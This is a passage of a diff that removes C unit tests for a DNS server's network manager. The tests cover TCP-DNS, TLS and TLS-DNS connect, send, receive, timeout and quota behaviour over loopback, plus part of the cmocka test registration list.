-	isc__netmgr_shutdown(connect_nm);
-}
-
-static void
-tcpdns_recv_one(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	atomic_store(&nsends, 1);
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tcpdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 1);
-	WAIT_FOR_EQ(sreads, 1);
-	WAIT_FOR_EQ(ssends, 0);
-	WAIT_FOR_EQ(creads, 0);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 1);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-tcpdns_recv_two(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	atomic_store(&nsends, 2);
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tcpdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 1);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tcpdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0);
-
-	WAIT_FOR_EQ(cconnects, 2);
-
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 2);
-	WAIT_FOR_EQ(sreads, 2);
-	WAIT_FOR_EQ(ssends, 1);
-	WAIT_FOR_EQ(creads, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 2);
-	atomic_assert_int_eq(csends, 2);
-	atomic_assert_int_eq(creads, 1);
-	atomic_assert_int_eq(sreads, 2);
-	atomic_assert_int_eq(ssends, 1);
-}
-
-static void
-tcpdns_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tcpdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends);
-	WAIT_FOR_GE(csends, esends);
-	WAIT_FOR_GE(sreads, esends);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_FULL(creads);
-	CHECK_RANGE_FULL(sreads);
-	CHECK_RANGE_FULL(ssends);
-}
-
-static void
-tcpdns_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tcpdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-tcpdns_half_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tcpdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	/* Try to send a little while longer */
-	isc_test_nap((esends / 2) * 10000);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-tcpdns_half_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentcpdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tcpdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-/* TLS */
-
-static void
-tls_connect(isc_nm_t *nm) {
-	isc_nm_tlsconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
-			  connect_connect_cb, NULL, tcp_connect_tlsctx,
-			  T_CONNECT, 0);
-}
-
-static void
-tls_noop(void **state) {
-	stream_use_TLS = true;
-	stream_noop(state);
-}
-
-static void
-tls_noresponse(void **state) {
-	stream_use_TLS = true;
-	stream_noresponse(state);
-}
-
-static void
-tls_timeout_recovery(void **state) {
-	stream_use_TLS = true;
-	stream_timeout_recovery(state);
-}
-
-static void
-tls_recv_one(void **state) {
-	stream_use_TLS = true;
-	stream_recv_one(state);
-}
-
-static void
-tls_recv_two(void **state) {
-	stream_use_TLS = true;
-	stream_recv_two(state);
-}
-
-static void
-tls_recv_send(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	stream_recv_send(state);
-}
-
-static void
-tls_recv_half_send(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	stream_recv_half_send(state);
-}
-
-static void
-tls_half_recv_send(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	stream_half_recv_send(state);
-}
-
-static void
-tls_half_recv_half_send(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	stream_half_recv_half_send(state);
-}
-
-static void
-tls_recv_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	stream_recv_send(state);
-}
-
-static void
-tls_recv_half_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	stream_recv_half_send(state);
-}
-
-static void
-tls_half_recv_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	stream_half_recv_send(state);
-}
-
-static void
-tls_half_recv_half_send_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	stream_half_recv_half_send(state);
-}
-
-/* TLS quota */
-
-static void
-tls_recv_one_quota(void **state) {
-	stream_use_TLS = true;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_one(state);
-}
-
-static void
-tls_recv_two_quota(void **state) {
-	stream_use_TLS = true;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_two(state);
-}
-
-static void
-tls_recv_send_quota(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_send(state);
-}
-
-static void
-tls_recv_half_send_quota(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_half_send(state);
-}
-
-static void
-tls_half_recv_send_quota(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	atomic_store(&check_listener_quota, true);
-	stream_half_recv_send(state);
-}
-
-static void
-tls_half_recv_half_send_quota(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	atomic_store(&check_listener_quota, true);
-	stream_half_recv_half_send(state);
-}
-
-static void
-tls_recv_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_send(state);
-}
-
-static void
-tls_recv_half_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	atomic_store(&check_listener_quota, true);
-	stream_recv_half_send(state);
-}
-
-static void
-tls_half_recv_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	atomic_store(&check_listener_quota, true);
-	stream_half_recv_send(state);
-}
-
-static void
-tls_half_recv_half_send_quota_sendback(void **state) {
-	SKIP_IN_CI;
-	stream_use_TLS = true;
-	allow_send_back = true;
-	atomic_store(&check_listener_quota, true);
-	stream_half_recv_half_send(state);
-}
-
-/* TLSDNS */
-
-static void
-tlsdns_connect(isc_nm_t *nm) {
-	isc_nm_tlsdnsconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0,
-			     tcp_connect_tlsctx);
-}
-
-static void
-tlsdns_noop(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr, noop_recv_cb,
-				     NULL, noop_accept_cb, NULL, 0, 0, NULL,
-				     tcp_listen_tlsctx, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	connect_readcb = NULL;
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tlsdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0,
-			     tcp_connect_tlsctx);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	atomic_assert_int_eq(cconnects, 0);
-	atomic_assert_int_eq(csends, 0);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-tlsdns_noresponse(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_sockaddr_t connect_addr;
-
-	connect_addr = (isc_sockaddr_t){ .length = 0 };
-	isc_sockaddr_fromin6(&connect_addr, &in6addr_loopback, 0);
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr, noop_recv_cb,
-				     NULL, noop_accept_cb, NULL, 0, 0, NULL,
-				     tcp_listen_tlsctx, &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tlsdnsconnect(connect_nm, &connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0,
-			     tcp_connect_tlsctx);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_EQ(csends, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 0);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-tlsdns_timeout_recovery(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_sockaddr_t connect_addr;
-
-	SKIP_IN_CI;
-
-	connect_addr = (isc_sockaddr_t){ .length = 0 };
-	isc_sockaddr_fromin6(&connect_addr, &in6addr_loopback, 0);
-
-	/*
-	 * Accept connections but don't send responses, forcing client
-	 * reads to time out.
-	 */
-	noanswer = true;
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Shorten all the TCP client timeouts to 0.05 seconds, connect,
-	 * then sleep for at least a second for each 'tick'.
-	 * timeout_retry_cb() will give up after five timeouts.
-	 */
-	connect_readcb = timeout_retry_cb;
-	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tlsdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_SOFT, 0,
-			     tcp_connect_tlsctx);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_GE(csends, 1);
-	WAIT_FOR_GE(csends, 2);
-	WAIT_FOR_GE(csends, 3);
-	WAIT_FOR_GE(csends, 4);
-	WAIT_FOR_EQ(csends, 5);
-	WAIT_FOR_EQ(ctimeouts, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-}
-
-static void
-tlsdns_recv_one(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	atomic_store(&nsends, 1);
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tlsdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0,
-			     tcp_connect_tlsctx);
-
-	WAIT_FOR_EQ(cconnects, 1);
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 1);
-	WAIT_FOR_EQ(sreads, 1);
-	WAIT_FOR_EQ(ssends, 0);
-	WAIT_FOR_EQ(creads, 0);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 1);
-	atomic_assert_int_eq(csends, 1);
-	atomic_assert_int_eq(creads, 0);
-	atomic_assert_int_eq(sreads, 1);
-	atomic_assert_int_eq(ssends, 0);
-}
-
-static void
-tlsdns_recv_two(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-
-	atomic_store(&nsends, 2);
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tlsdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0,
-			     tcp_connect_tlsctx);
-
-	WAIT_FOR_EQ(cconnects, 1);
-
-	isc_refcount_increment0(&active_cconnects);
-	isc_nm_tlsdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
-			     connect_connect_cb, NULL, T_CONNECT, 0,
-			     tcp_connect_tlsctx);
-
-	WAIT_FOR_EQ(cconnects, 2);
-
-	WAIT_FOR_LE(nsends, 0);
-	WAIT_FOR_EQ(csends, 2);
-	WAIT_FOR_EQ(sreads, 2);
-	WAIT_FOR_EQ(ssends, 1);
-	WAIT_FOR_EQ(creads, 1);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-	isc__netmgr_shutdown(connect_nm);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	atomic_assert_int_eq(cconnects, 2);
-	atomic_assert_int_eq(csends, 2);
-	atomic_assert_int_eq(creads, 1);
-	atomic_assert_int_eq(sreads, 2);
-	atomic_assert_int_eq(ssends, 1);
-}
-
-static void
-tlsdns_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tlsdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends);
-	WAIT_FOR_GE(csends, esends);
-	WAIT_FOR_GE(sreads, esends);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_FULL(csends);
-	CHECK_RANGE_FULL(creads);
-	CHECK_RANGE_FULL(sreads);
-	CHECK_RANGE_FULL(ssends);
-}
-
-static void
-tlsdns_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tlsdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-tlsdns_half_recv_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tlsdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	/* Try to send a little while longer */
-	isc_test_nap((esends / 2) * 10000);
-
-	isc__netmgr_shutdown(connect_nm);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-static void
-tlsdns_half_recv_half_send(void **state __attribute__((unused))) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *listen_sock = NULL;
-	isc_thread_t threads[workers];
-
-	SKIP_IN_CI;
-
-	result = isc_nm_listentlsdns(listen_nm, &tcp_listen_addr,
-				     listen_read_cb, NULL, listen_accept_cb,
-				     NULL, 0, 0, NULL, tcp_listen_tlsctx,
-				     &listen_sock);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	memset(threads, 0, sizeof(threads));
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_create(connect_thread, tlsdns_connect, &threads[i]);
-	}
-
-	WAIT_FOR_GE(cconnects, esends / 2);
-	WAIT_FOR_GE(csends, esends / 2);
-	WAIT_FOR_GE(sreads, esends / 2);
-	WAIT_FOR_GE(ssends, esends / 2);
-	WAIT_FOR_GE(creads, esends / 2);
-
-	isc__netmgr_shutdown(connect_nm);
-	isc_nm_stoplistening(listen_sock);
-	isc_nmsocket_close(&listen_sock);
-	assert_null(listen_sock);
-
-	DONE();
-	for (size_t i = 0; i < workers; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	X(cconnects);
-	X(csends);
-	X(creads);
-	X(sreads);
-	X(ssends);
-
-	CHECK_RANGE_HALF(csends);
-	CHECK_RANGE_HALF(creads);
-	CHECK_RANGE_HALF(sreads);
-	CHECK_RANGE_HALF(ssends);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		/* UDP */
-		cmocka_unit_test_setup_teardown(mock_listenudp_uv_udp_open,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(mock_listenudp_uv_udp_bind,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			mock_listenudp_uv_udp_recv_start, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(mock_udpconnect_uv_udp_open,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(mock_udpconnect_uv_udp_bind,
-						nm_setup, nm_teardown),
-#if UV_VERSION_HEX >= UV_VERSION(1, 27, 0)
-		cmocka_unit_test_setup_teardown(mock_udpconnect_uv_udp_connect,
-						nm_setup, nm_teardown),
-#endif
-		cmocka_unit_test_setup_teardown(
-			mock_udpconnect_uv_recv_buffer_size, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			mock_udpconnect_uv_send_buffer_size, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_noop, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_noresponse, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_timeout_recovery, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_recv_one, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_recv_two, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_recv_half_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_half_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(udp_half_recv_half_send,
-						nm_setup, nm_teardown),
-
-		/* TCP */
-		cmocka_unit_test_setup_teardown(tcp_noop, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_noresponse, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_timeout_recovery, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_one, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_two, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_half_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_half_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_half_recv_half_send,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_send_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_half_send_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_half_recv_send_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tcp_half_recv_half_send_sendback, nm_setup,
-			nm_teardown),
-
-		/* TCP Quota */
-		cmocka_unit_test_setup_teardown(tcp_recv_one_quota, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_two_quota, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_send_quota, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_half_send_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_half_recv_send_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_half_recv_half_send_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcp_recv_send_quota_sendback,
